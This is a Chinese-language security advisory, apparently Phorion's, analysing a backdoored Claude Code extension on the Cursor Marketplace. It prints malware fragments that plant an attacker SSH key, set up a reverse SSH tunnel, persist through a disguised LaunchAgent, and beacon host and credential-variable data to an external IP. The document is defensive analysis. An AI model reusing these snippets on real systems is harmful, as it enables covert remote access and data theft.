Cursor Marketplace 上的官方 Claude Code for VS Code 擴充功能遭植入後門
Cursor Marketplace 上 VS Code 扩展“Claude Code”中存在后门
Phorion 發現 Cursor Marketplace 上官方 Claude Code for VS Code 擴充功能 2.1.312 和 2.1.313 含有後門,Cursor 已將受影響版本下架。
文章拆解後門植入 SSH 金鑰、建立反向隧道及跨平台持久化的流程,並整理可供排查的檔案、程序與網絡指標。
重點摘要
Phorion 發現 Cursor Marketplace 上的官方 Claude Code for VS Code 擴充功能套件含有後門,會在 macOS、Linux 及 Windows 系統植入持久化 SSH 後門。本文主要聚焦於 macOS,介紹擴充功能如何嘗試設定 SSH 後門並建立持久化機制。
各機構應立即檢查其環境是否使用 Claude Code for VSCode 2.1.312 或 2.1.313;如發現使用該擴充功能,應啟動事故應變工作。
修訂記錄
- 首次發布 30 Oct, 05:30 UTC
- 市集資訊修正 30 Oct, 09:13 UTC
已更正受影響的市集為 Cursor。 - 版本範圍更新 31 Oct, 00:43 UTC
按照 Cursor 更新後的公告加入2.1.312。
Phorion 發現 Cursor Marketplace 上的官方 Claude Code for VS Code 擴充功能遭入侵,受植入後門的擴充功能套件含有持久化安全殼層(SSH)後門。Cursor 已從其市集中移除受影響的版本 2.1.312 和 2.1.313。
植入程式包含適用於macOS、Linux 及 Windows的設定及持久化邏輯;本文主要聚焦於macOS,並會一併指出其他平台的主要差異及一些實作錯誤。
Cursor Marketplace 為 Cursor 編輯器提供擴充功能。由於擴充功能會以 IDE 及執行 IDE 的用戶權限運作,受植入後門的擴充功能一旦載入模組,便可立即存取本機檔案、原始碼及開發者工具。
值得注意的是,Phorion 發現惡意軟件在嘗試啟用 SSH 時很可能有一處疏漏。設定邏輯假設無需 root 權限即可檢查目前的 Remote Login 狀態。以一般用戶身分執行時,systemsetup -getremotelogin會顯示管理員權限錯誤,並以狀態 0 結束,而非返回 Off。由於指令碼只會在輸出符合 Off 時嘗試啟用 SSH,因此會完全略過啟用步驟。在尚未啟用 SSH 的 Mac 上,這個錯誤會令入站存取途徑失效,儘管 SSH 金鑰及持久化機制仍會被植入。
本文會逐步説明後門的運作方式、macOS 檢查失效的原因,以及如何在整個設備羣中尋找相關跡象。這個負載的目標是取得長期互動式存取權。雖然 SSH 後門的錯誤降低了它對 macOS 的影響,但惡意軟件仍構成重大威脅,會安裝持久化機制,並將主機偵察資訊傳送回操作者。
感染鏈
Cursor Marketplace 擴充功能
遭入侵的 extension.js 檔案開頭,是一段注入在壓縮後擴充功能套件前方的立即呼叫函數表達式(IIFE)。套件其餘部分看來與標準擴充功能無異,包含 Claude Code 和 VS Code 字串、一般的 activate 和 deactivate 匯出項目,以及使用者介面程式碼。
注入的前置程式碼會引入標準 Node.js 模組(child_process、fs、os、path、http 和 crypto),並在 Node 載入檔案時立即執行,甚至早於擴充功能正常的 activate 回呼函數執行。用戶無須與擴充功能互動,負載便會觸發。
第 1 階段-準備 SSH 存取
首先,負載會確保 ~/.ssh 存在,並將攻擊者控制的 Ed25519 公開金鑰附加至 ~/.ssh/authorized_keys,同時將目錄權限設為 0700,並將檔案權限設為 0600。
該金鑰使用註解 svc-telemetry。追加前,腳本會檢查檔案中是否已有 svc-telemetry,而非檢查金鑰本身。調查這項活動時,值得檢查公開金鑰指紋,而不要只依賴註解字串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
這裏,cur 儲存 authorized_keys 的現有內容,而 PUB 則是嵌入的攻擊者公開金鑰(此處已刪除)。
加入金鑰後,只要 SSH 正在運作,持有相符私密金鑰的任何人便可用該用戶的身份進行驗證。腳本接下來會嘗試確保本機 SSH 服務已啟用並正在監聽:
- Linux:嘗試透過
systemctl啟用並啟動sshd或ssh,若失敗則改用service和/etc/init.d/。 - macOS:檢查 Remote Login;如果結果顯示
Off,便嘗試透過sudo -n systemsetup -setremotelogin on啟用它。 - Windows:嘗試使用 PowerShell 安裝並啟動 OpenSSH Server。
這些步驟都不包含權限提升漏洞利用。除非用戶已快取或設定無需密碼的 sudo,否則非互動式 sudo -n 會失敗,因此從一般用戶權限環境啟動系統服務不一定會成功。
Windows 程式碼路徑似乎也有自己的錯誤:它將 PowerShell 服務設定命令傳給輔助函式(det()),而該函式會將 /bin/sh 寫死;在標準 Windows 安裝環境下,這樣不會有甚麼進展。
macOS 的 SSH 邏輯有錯誤?
在 macOS 上,設定程序甚至可能在執行 sudo 命令前就遇到問題。腳本會在沒有提升權限的情況下執行 systemsetup -getremotelogin,並檢查輸出是否符合 /Off/i。只有當輸出包含 Off 時,它才會嘗試啟用 Remote Login:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
請注意,第二個命令(-setremotelogin on)會使用 sudo -n,而第一個命令(-getremotelogin)則不會。在 macOS 上以一般用戶身份執行 systemsetup -getremotelogin 時,會得到以下結果:
You need administrator access to run this tool... exiting!
systemsetup 拒絕在沒有管理員權限的情況下讀取設定,將錯誤訊息輸出至 stdout,並以狀態碼 0 結束。惡意軟件的 ex() 輔助函式會擷取 stdout 並傳回內容:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
由於輸出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的結果會是 false。
因此,腳本會略過 if 區塊,並且不會執行 sudo -n systemsetup -setremotelogin on。它實際上把「我沒有權限檢查 SSH 是否已關閉」當成「SSH 已經啟用」,這也解釋了為甚麼擴充功能以一般用戶身份執行時,你不會在程序遙測資料中看到啟用操作。
這個錯誤可能會令存取鏈的最後一步失效。如果 Mac 上尚未啟用 Remote Login,對外隧道仍可連接至攻擊者的伺服器,但任何經隧道轉送回來的流量,都會連到 localhost 上未開啟的 22 埠。
當然,這並不能作為可靠的防禦措施。如果用戶早已啟用 Remote Login,或日後將它開啟,後門便會準備就緒,等待使用。
階段 2 - 建立反向 SSH 隧道
接下來,腳本會以 tunnel 用戶身份,透過 22 埠連接至 134.209.82[.]225,建立對外 SSH 連線。為了向攻擊者的伺服器進行驗證,它會解碼另一把嵌入的私密金鑰:一把未加密的 OpenSSH Ed25519 金鑰,註解為 svc-telemetry-tun。
調查期間,值得分清以下兩把金鑰:
- 新增至
~/.ssh/authorized_keys的公開金鑰(svc-telemetry),可讓攻擊者登入受害者的電腦。 - 嵌入的私密金鑰(
svc-telemetry-tun)可讓受害者的電腦連接至攻擊者的隧道伺服器。
腳本會將這把隧道金鑰寫入作業系統的暫存目錄,檔名以 .stk_ 開頭,後接主機名稱及家目錄路徑的 MD5 雜湊值首十個字元:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
這條通道使用 -R *:0:localhost:22 進行遠端連接埠轉送。傳入 0 會要求攻擊者的 SSH 伺服器動態分配一個監聽連接埠,並將所有抵達該連接埠的流量經通道轉送回受害者機器上的 localhost:22:
Affected host -- outbound SSH tunnel --> External SSH server
Operator -- separate connection --> Server's allocated port
|
Through the existing tunnel
|
v
Affected host's SSH:22
|
Login using the planted key
由於通道以 -N 運作,它只會保持連接埠轉送開啟,不會在遠端伺服器上執行命令。操作人員需要存取該機器時,會透過其伺服器上已分配的連接埠,另行啟動 SSH 工作階段,並使用第一階段植入的金鑰,向受害者本機的 SSH daemon 進行驗證。這讓他們取得完整的互動式 shell 和檔案傳輸能力,無須在 JavaScript 本身加入任何自訂 C2 命令處理功能。
SSH 命令亦會傳入一些旗標,令連線保持靜默及非互動:停用主機金鑰檢查、忽略 known_hosts、啟用 BatchMode 及 IdentitiesOnly、將 keepalive 間隔設為 30 秒(ServerAliveCountMax=3),並開啟 ExitOnForwardFailure。
如果已安裝 autossh,指令碼便會使用它;否則改用標準的 ssh。它會將連線包在一個分離執行的重試迴圈中,每次嘗試之間休眠 60 秒,並在 Unix 系統上使用 pgrep,以免啟動多個重複的初始通道。由於迴圈在背景分離執行,即使用戶關閉 IDE,通道仍會保持連線。
階段 3 - 維持存取權
為了在重新啟動後仍能繼續運作,指令碼會在初始通道分離執行的同時,設定平台專用的持久化機制:
| 平台 | 相關項目 | 持久化機制 | 備註 |
|---|---|---|---|
| Linux | ~/.config/.smt、~/.config/.smtk | 寫入一個會重建通道金鑰並循環執行 SSH 連線的 shell 指令碼,然後在用戶的 crontab 加入一個 @reboot 條目。 | 檢查 crontab 時有一個錯誤,重複執行時可能會清除用戶現有的 cron 工作(詳情如下)。 |
| macOS | ~/.config/.smt、~/.config/.smtk、~/Library/LaunchAgents/com.apple.sysmond.plist | 寫入一個用戶 LaunchAgent,以 RunAtLoad 及 KeepAlive 設為 true 的設定執行 /bin/sh ~/.config/.smt,然後透過 launchctl 載入。 | 以用戶身分執行,而非以 root 身分執行的 LaunchDaemon。 |
| Windows | ~/.config/smt.cmd、~/.config/smtk、%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | 嘗試建立一個名為 SysMon、以 SYSTEM 身分執行並於啟動時觸發的排程工作。若失敗,便將 sysmon.cmd 放入用戶的 Startup 資料夾。 | 建立 SYSTEM 工作需要管理員權限;Startup 資料夾的後備方法則會在用戶登入時以用戶身分執行。 |
在 macOS 和 Linux 上,~/.config/.smt 指令碼內嵌了通道的私鑰,並會在開始重新連線迴圈前,將私鑰寫入 ~/.config/.smtk。
在 macOS 上,LaunchAgent 會在 ~/Library/LaunchAgents/ 內偽裝成 com.apple.sysmond.plist:
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
階段 4 - 主機偵察
最後,指令碼會收集基本的主機偵察資料,並向攻擊者的伺服器發送一次性信標:
- 主機名稱、用戶名稱、作業系統平台及架構
- 家目錄、目前工作目錄及全域 Git 電郵地址(
git config --global user.email) - 公開 IP 地址及各設定階段的狀態旗標(例如是否已加入 SSH 金鑰,以及執行了哪種持久化方法)
- 最多 40 個符合
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i的環境變數名稱(而非值)
環境變數檢查使用 Object.keys(process.env):
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)
由於它只會擷取變數名稱,信標不會外傳變數本身的秘密值。相反,這會讓操作者快速掌握機器上有哪些雲端憑證或 API 權杖,以便決定優先處理哪些主機。
為取得機器的公開 IP 地址,指令碼會查詢 ifconfig[.]me,並以 api[.]ipify[.]org 作為後備。
然後,它會透過明文 HTTP POST 要求,將 JSON 報告傳送至 134.209.82[.]225:8099 和 127.0.0.1:8099 上的 /beacon:
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
範例中未能看出為何它也會將信標副本傳送至 127.0.0.1:8099;指令碼本身並未在該連接埠設定本機監聽程式。
信標會透過 setTimeout 排程執行一次(初始設定執行後 1.5 秒),並丟棄任何帶有 res.resume() 的 HTTP 回應。這純粹是一次報到,用來通知操作人員主機已準備就緒;實際存取則由 SSH 隧道處理。
偵測機會
從偵測角度來看,透過 macOS 上的 Endpoint Security Framework (ESF) 遙測資料,可見這條攻擊鏈中有幾種值得留意的行為。
SSH 金鑰及設定變更
由於惡意軟件直接使用 Node 的 fs.appendFileSync 將內容附加至 ~/.ssh/authorized_keys,因此,只監察以 echo 或 tee 等 Shell 指令操作 authorized_keys 的程序規則,將無法偵測到它。這正是檔案修改遙測不可或缺之處:監察 IDE 輔助程序(Code Helper、Cursor Helper 等)是否建立或寫入 ~/.ssh/authorized_keys。
即使 IDE 執行檔帶有有效簽署,其擴充功能主機程序也不應在背景修改 SSH 驗證檔案。
雖然亦應監察 systemsetup -setremotelogin on,但不要將其列為針對這次攻擊活動發出警示的必要條件。正如上文所見,macOS 上失效的狀態檢查會令該指令往往根本不會執行。
用戶 LaunchAgent 持久化
macOS 上的持久化設定提供了幾個強烈的偵測訊號:
- 非 Apple 程序寫入標籤為
com.apple.*的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)。 - 設定為透過
/bin/sh執行用戶主目錄中隱藏指令碼的 LaunchAgent(~/.config/.smt)。
由於初始隧道以分離程序方式啟動,之後又由 launchd 直接管理 .smt,後續的 ssh 程序在即時程序樹中不會以 IDE 作為直接父程序。若能將 .smt 和 com.apple.sysmond.plist 的檔案建立事件追溯至 IDE 擴充功能主機,便更容易拼湊出整條攻擊鏈。
SSH 隧道及後續存取
在程序及網絡層面,留意以下情況:
- 以遠端連接埠轉送(
-R *:0:localhost:22)方式啟動的ssh或autossh,並使用從/tmp/.stk_*或~/.config/.smtk取得的身分識別檔案。 - 連往
134.209.82[.]225的 22 連接埠的對外 SSH 連線,以及向134.209.82[.]225:8099發出的 HTTP POST 要求(和連往127.0.0.1:8099的連線嘗試)。
若發現有主機曾執行這個擴充功能,必須檢查隧道是否只建立了連線,還是操作人員曾經透過隧道登入。由於傳入工作階段會經本機連接埠轉送抵達,SSH 記錄中的成功登入會顯示為來自 localhost(127.0.0.1 或 ::1),並以 svc-telemetry 金鑰進行驗證。
補救措施
若確認有受影響的電腦,單靠解除安裝擴充功能並不能移除後門。請確保應變工作涵蓋它植入的所有階段:
- 終止作用中的隧道程序:終止
/bin/sh重試迴圈,以及任何連接至134.209.82[.]225的ssh或autossh程序。 - 移除持久化設定:在 macOS 上卸載並刪除
~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清除@rebootcron 項目/在 Windows 上清除SysMon排程工作及啟動指令碼),並移除~/.config/.smt和~/.config/.smtk。 - 清理 SSH 金鑰及狀態:移除
~/.ssh/authorized_keys中的svc-telemetry公開金鑰,刪除/tmp/.stk_*,並確認 Remote Login (SSH) 未在未預期情況下啟用。 - 輪換憑證:如果主機已啟用 SSH,或有任何傳入登入的證據,請輪換該用戶帳戶可存取的所有憑證或權杖(尤其是符合
KEY|TOKEN|SECRET|PASS|AWS|GCP環境變數篩選條件的項目)。
Phorion 的做法
Phorion 開箱即用的偵測功能會透過多項規則,標示這次攻擊所用的 macOS 持久化手法,包括非 Apple 程序建立 com.apple.* LaunchAgent,以及 LaunchAgent 從隱藏目錄執行 Shell 指令碼。
除了持久化機制外,Phorion 的檔案存取遙測資料亦會記錄 IDE 擴充功能主機直接修改 ~/.ssh/authorized_keys 的情況,而 Phorion Protections 可用來鎖定 ~/.ssh/,從一開始便只允許獲授權的程序讀取或修改 SSH 金鑰和設定檔。
如果你想了解 Phorion 如何在你的 Mac 裝置羣組中偵測並封鎖這類供應鏈威脅,聯絡我們安排示範。
指標
樣本及公開金鑰指紋
| 指標 | 值 | 備註 |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | 已植入後門的 extension.js 套件 |
| 受害者登入公開金鑰指紋 | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | 附加至 ~/.ssh/authorized_keys 的 Ed25519 金鑰(註解 svc-telemetry) |
| 隧道公開金鑰指紋 | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | 用於向隧道伺服器進行驗證的嵌入式 Ed25519 金鑰(註解 svc-telemetry-tun) |
網絡指標
| 指標 | 類型 | 備註 |
|---|---|---|
134.209.82[.]225(TCP 22,用戶 tunnel) | IP / SSH | 對外連線的反向 SSH 隧道伺服器 |
134.209.82[.]225:8099(POST /beacon) | IP / HTTP | 外部主機回報信標端點 |
127.0.0.1:8099(POST /beacon) | 迴環 / HTTP | 本機信標目的地 |
ifconfig[.]me、api[.]ipify[.]org | 網域 | 用於查找公用 IP 的合法服務 |
主機痕跡
| 痕跡 | 平台 | 備註 |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64 | macOS (Apple Silicon) | Cursor 安全公告中指出的另一個受影響版本(<ide> 因編輯器而異) |
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | macOS (Apple Silicon) | 已安裝的擴充功能目錄(<ide> 因編輯器而異) |
~/.ssh/authorized_keys(註解 svc-telemetry) | 全部 | 植入的 Ed25519 公開金鑰 |
<TMP>/.stk_<10 hex chars>(macOS 上為 $TMPDIR/.stk_*) | 全部 | 作業系統暫存目錄中的初始隧道私密金鑰(後綴為 MD5(hostname + HOME) 的前 10 個十六進位字元) |
~/.config/.smt 和 ~/.config/.smtk | macOS、Linux | 持久化 Shell 指令碼及重新建立的隧道私密金鑰 |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | 執行 /bin/sh ~/.config/.smt 的用戶 LaunchAgent |
@reboot 的 cron 項目(用於 ~/.config/.smt) | Linux | 用戶 crontab 持久化機制 |
~/.config/smt.cmd 和 ~/.config/smtk | Windows | 持久化批次指令碼及隧道私密金鑰 |
排程工作 SysMon | Windows | 啟動時執行的排程工作(要求 SYSTEM) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Windows | 啟動資料夾後備指令碼 |
來源:Hacker News 熱門(buzzing.cc 中文翻譯) · phorion.io